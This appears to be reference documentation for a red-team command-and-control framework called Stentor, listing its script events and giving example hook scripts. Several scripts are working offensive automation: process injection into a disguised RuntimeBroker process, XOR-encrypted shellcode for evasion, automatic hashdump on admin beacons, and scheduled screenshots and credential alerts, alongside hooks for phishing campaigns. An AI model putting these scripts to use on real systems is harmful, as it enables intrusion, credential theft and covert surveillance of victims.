Source: hub/cockpit_hub.go (WebSocket connect)


event_quit

Fires when an operator disconnects from the team server.

on event_quit {
    # $1 = operator email, $2 = timestamp
}
Argument Type Description
$1 string Operator email address
$2 string Timestamp

Source: hub/cockpit_hub.go (WebSocket disconnect)


event_public

Fires when a public chat message is sent.

on event_public {
    # $1 = sender, $2 = message
}
Argument Type Description
$1 string Sender name
$2 string Chat message

Source: aggressor/output.go ChatPublic()


event_action

Fires when an action chat message is sent (e.g., /me does something).

on event_action {
    # $1 = sender, $2 = action message
}
Argument Type Description
$1 string Sender name
$2 string Action message

Source: aggressor/output.go ChatAction()


event_msg

Alias for event_public. Fires when a chat message is sent through the global say channel.

on event_msg {
    # $1 = sender, $2 = message
}
Argument Type Description
$1 string Sender name
$2 string Message

Source: aggressor/output.go globalSay()


event_private

Fires when a private message is sent between operators.

on event_private {
    # $1 = sender, $2 = recipient, $3 = message
}
Argument Type Description
$1 string Sender name
$2 string Recipient name
$3 string Private message

Source: aggressor/output.go eventPrivate(), chatPrivate()


event_notify

Fires when a system notification is dispatched.

on event_notify {
    # $1 = notification message
}
Argument Type Description
$1 string Notification message

Source: aggressor/output.go eventNotify()


Data Model Update Events

These events fire when the underlying data model changes. They take no arguments -- query the data model to get current state.

beacons

Fires when the beacon data model changes (new beacon or check-in update).

on beacons {
    # No arguments -- query beacons() for current state
    foreach $beacon (beacons()) {
        # Process updated beacon list
    }
}

Source: c2/handler.go Checkin(), c2/encrypted_handler.go Checkin()


keystrokes

Fires when new keystroke data is received.

on keystrokes {
    # No arguments -- query keystrokes data model
}

Source: c2/handler.go SubmitResult(), c2/encrypted_handler.go SubmitResult()


screenshots

Fires when new screenshot data is received.

on screenshots {
    # No arguments -- query screenshots data model
}

Source: c2/handler.go SubmitResult(), c2/encrypted_handler.go SubmitResult()


System Events

ready

Fires once when the team server finishes initialization. Use this for startup automation.

on ready {
    elog("Team server is ready. Scripts loaded.");
}

Source: cmd/api/main.go (after eventBus.Start)

Startup scripts

The ready event is the ideal place to initialize script state, connect to external services, or log startup messages. It fires after all scripts have been loaded and the EventBus is active.


disconnect

Fires when a client connection is lost.

on disconnect {
    elog("Client disconnected");
}

Source: hub/cockpit_hub.go (WebSocket disconnect)


Heartbeat Events

The EventBus fires 12 periodic heartbeat events at fixed intervals. These are essential for building time-based automation (periodic screenshots, health checks, data collection).

Event Interval Use Case
heartbeat_1s 1 second Real-time monitoring, rapid polling
heartbeat_5s 5 seconds Active engagement responsiveness
heartbeat_10s 10 seconds Moderate-frequency tasks
heartbeat_15s 15 seconds Beacon health checks
heartbeat_30s 30 seconds Periodic status updates
heartbeat_1m 1 minute Standard automation interval
heartbeat_5m 5 minutes Periodic screenshots, data collection
heartbeat_10m 10 minutes Low-frequency automation
heartbeat_15m 15 minutes Reporting intervals
heartbeat_20m 20 minutes Scheduled tasks
heartbeat_30m 30 minutes Engagement checkpoints
heartbeat_60m 60 minutes Hourly maintenance tasks

Heartbeat events take no arguments:

on heartbeat_5m {
    # Runs every 5 minutes
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            bscreenshot($bid);
        }
    }
}

Handler performance

Heartbeat handlers fire frequently. Keep them lightweight -- avoid blocking operations or heavy computation. Use longer intervals (5m+) for resource-intensive tasks.


Profiler & Web Events

profiler_hit

Fires when the system profiler receives a visit. The profiler gathers information about visitors to your web infrastructure.

on profiler_hit {
    # $1 = external IP, $2 = internal IP, $3 = user agent,
    # $4 = applications, $5 = profiler token
}
Argument Type Description
$1 string External IP address
$2 string Internal IP address (if available)
$3 string User-Agent header
$4 string Detected applications
$5 string Profiler token

Source: cmd/api/main.go relay message handler [RelayEventProfilerHit]


web_hit

Fires when the relay web server serves an HTTP request.

on web_hit {
    # $1 = method, $2 = URI, $3 = remote address, $4 = user agent,
    # $5 = response code, $6 = response size, $7 = handler, $8 = params, $9 = timestamp
}
Argument Type Description
$1 string HTTP method
$2 string Requested URI
$3 string Remote address
$4 string User-Agent header
$5 string HTTP response code
$6 string Response size in bytes
$7 string Handler that served the request
$8 string Request parameters
$9 string Timestamp

Source: cmd/api/main.go relay message handler [RelayEventWebHit]


Phishing Events

These events track the lifecycle of phishing campaigns sent through Stentor's email infrastructure.

sendmail_start

Fires once when a phishing campaign begins sending.

on sendmail_start {
    # $1 = campaign ID, $2 = target count, $3 = attachment name,
    # $4 = bounce address, $5 = SMTP server, $6 = subject, $7 = template name
    elog("[PHISH] Campaign $1 started: $2 targets via $5");
}
Argument Type Description
$1 string Campaign ID
$2 string Number of targets
$3 string Attachment filename
$4 string Bounce/return address
$5 string SMTP server
$6 string Email subject
$7 string Template name

Source: service/phishing.go sendEmails() [start of method]


sendmail_pre

Fires before each email is sent.

on sendmail_pre {
    # $1 = campaign ID, $2 = recipient email
}
Argument Type Description
$1 string Campaign ID
$2 string Recipient email address

Source: service/phishing.go sendEmails() [before SendCommand]


sendmail_post

Fires after each email is sent successfully.

on sendmail_post {
    # $1 = campaign ID, $2 = recipient, $3 = status, $4 = message
}
Argument Type Description
$1 string Campaign ID
$2 string Recipient email address
$3 string Send status
$4 string Status message

Source: service/phishing.go sendEmails() [after UpdateTargetStatus to sent]


sendmail_done

Fires when a phishing campaign completes all sends.

on sendmail_done {
    # $1 = campaign ID
    elog("[PHISH] Campaign $1 complete");
}
Argument Type Description
$1 string Campaign ID

Source: service/phishing.go sendEmails() [after target loop]


sendmail_error

Fires when a phishing email send fails.

on sendmail_error {
    # $1 = campaign ID, $2 = recipient, $3 = error message
    elog("[PHISH ERROR] Campaign $1 : $2 -- $3");
}
Argument Type Description
$1 string Campaign ID
$2 string Recipient email address
$3 string Error message

Source: service/phishing.go sendEmails() [on SendCommand error]


Custom Events

custom_event

User-defined events dispatched by CNA scripts via fireEvent(). Any script can fire custom events, and any script can register handlers.

# Fire a custom event
fireEvent("my_custom_event", "arg1", "arg2");

# Handle a custom event
on my_custom_event {
    println("Custom event fired: $1 $2");
}

Source: aggressor/output.go FireEvent()


custom_event_private

Per-script private events dispatched via fireEventPrivate(). Only handlers from the same script that fired the event will receive it.

# Fire a private event (only this script's handlers fire)
fireEventPrivate("my_private_event", "data");

# Handle the private event
on my_private_event {
    println("Private: $1");
}

Source: aggressor/output.go FireEventPrivate()


Events Summary Table

Quick reference for all event categories:

Category Events Count
Beacon Lifecycle beacon_initial, beacon_initial_empty, beacon_checkin, beacon_exit, beacon_mode 5
Beacon Task/Output beacon_tasked, beacon_input, beacon_output, beacon_output_alt, beacon_error 5
Beacon Specialized Output beacon_output_jobs, beacon_output_ls, beacon_output_ps 3
Beacon Indicators beacon_indicator 1
Downloads download_start, download_complete 2
Keylogger & Screenshots keylog_hit, screenshot 2
SSH ssh_initial, ssh_close, ssh_output, ssh_error, ssh_tasked, ssh_input, ssh_checkin, ssh_indicator, ssh_output_alt 9
Listeners listener_start, listener_stop, listener_error, listener_unresolved_host 4
Credentials credential_add 1
Operators event_join, event_quit, event_public, event_action, event_msg, event_private, event_notify 7
Data Model Updates beacons, keystrokes, screenshots 3
System ready, disconnect 2
Heartbeats heartbeat_1s through heartbeat_60m 12
Profiler & Web profiler_hit, web_hit 2
Phishing sendmail_start, sendmail_pre, sendmail_post, sendmail_done, sendmail_error 5
Custom custom_event, custom_event_private 2
Total 65

Practical Hook Examples

Custom Injection Technique

Replace the default fork-and-run injection with a custom APC injection technique that uses a less-suspicious sacrificial process.

# custom-inject.cna -- Replace injection with QueueUserAPC + custom spawnto

set PROCESS_INJECT_SPAWN {
    local('$bid $dll $arch $token');
    $bid = $1;
    $dll = $2;
    $token = $3;
    $arch = $4;

    # Choose a legitimate-looking sacrificial process based on arch
    if ($arch eq "x64") {
        $target = "C:\\Windows\\System32\\RuntimeBroker.exe";
    } else {
        $target = "C:\\Windows\\SysWOW64\\RuntimeBroker.exe";
    }

    btask($bid, "Custom injection: APC into RuntimeBroker ($arch)");

    # Use the custom spawnto and let the default injection proceed
    # for the actual APC write
    bspawnto($bid, $arch, $target);
    return $null;  # Let default handle actual injection with new spawnto
}

Custom Artifact Kit

Build a custom artifact generator that encrypts shellcode with a per-build XOR key.

# custom-artifact.cna -- XOR-encrypted artifact generator

set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$artifact $shellcode $key $encrypted $template');
    $artifact = $1;
    $shellcode = $2;

    # Generate random XOR key
    $key = rand(0xFF);

    # XOR the shellcode
    $encrypted = "";
    for ($i = 0; $i < strlen($shellcode); $i++) {
        $encrypted .= chr(asc(charAt($shellcode, $i)) ^ $key);
    }

    # Log the build
    elog("Artifact Kit: built $artifact with XOR key $key");

    # Return encrypted shellcode (loader stub handles decryption)
    return build_artifact($artifact, $encrypted, $key);
}

Auto-Task on Initial Beacon

Automatically configure and task every new beacon with reconnaissance commands.

# auto-task.cna -- Automatic recon on new beacons

set BEACON_INITIAL_EMPTY {
    local('$bid');
    $bid = $1;

    # Set reasonable sleep for recon phase
    bsleep($bid, 15, 25);

    # Run initial reconnaissance
    bps($bid);
    bipconfig($bid);
    bwhoami($bid);
    bpwd($bid);

    # If admin, grab credentials immediately
    if (-isadmin $bid) {
        bhashdump($bid);
        blog($bid, "Admin beacon -- auto-hashdump queued");
    }

    blog($bid, "Auto-recon complete -- $+ " . binfo($bid, "user") . " on " . binfo($bid, "computer"));
    return "handled";
}

Practical Event Examples

Logging All Beacon Output to File

Create a comprehensive audit log of all beacon output for engagement reporting.

# audit-log.cna -- Log all beacon output to file

on beacon_output {
    local('$bid $output $when $user $computer');
    $bid = $1;
    $output = $2;
    $when = $3;

    $user = binfo($bid, "user");
    $computer = binfo($bid, "computer");

    elog("[$when] [$computer\\$user] Output: $output");
}

on beacon_error {
    local('$bid $msg $when');
    $bid = $1;
    $msg = $2;
    $when = $3;

    elog("[$when] [ERROR] Beacon $bid : $msg");
}

on beacon_input {
    local('$bid $who $cmd $when');
    $bid = $1;
    $who = $2;
    $cmd = $3;
    $when = $4;

    elog("[$when] [$who] Command: $cmd");
}

Auto-Screenshot on New Beacon

Capture a screenshot within 30 seconds of every new beacon check-in.

# auto-screenshot.cna -- Screenshot on initial beacon

on beacon_initial {
    local('$bid');
    $bid = $1;

    # Wait for beacon to settle, then screenshot
    bsleep($bid, 5, 0);
    bscreenshot($bid);
    blog($bid, "Auto-screenshot queued on initial check-in");
}

Alert on Credential Harvest

Send notifications when new credentials are discovered.

# cred-alert.cna -- Credential alerting pipeline

on credential_add {
    local('$type $user $pass $source $host');
    $type = $1;
    $user = $2;
    $pass = $3;
    $source = $4;
    $host = $5;

    # Log to event log
    elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");

    # Fire custom event for other scripts to consume
    fireEvent("cred_alert", $type, $user, $host);
}

Heartbeat-Based Periodic Task

Run automated data collection on a schedule using heartbeat events.

# periodic-collect.cna -- Collect data every 10 minutes

on heartbeat_10m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            # Only task beacons that are actively checking in
            bps($bid);
            blog($bid, "[auto] Periodic process listing");
        }
    }
}

on heartbeat_60m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid && -isadmin $bid) {
            # Hourly screenshot from admin beacons
            bscreenshot($bid);
        }
    }
}

See Also

  • Function Reference -- Complete reference for b* functions used in hook and event handlers
  • Headless Mode -- Running hook and event scripts without the GUI
  • Evasion Kits -- Build-time payload customization (Artifact Kit, Sleep Mask Kit)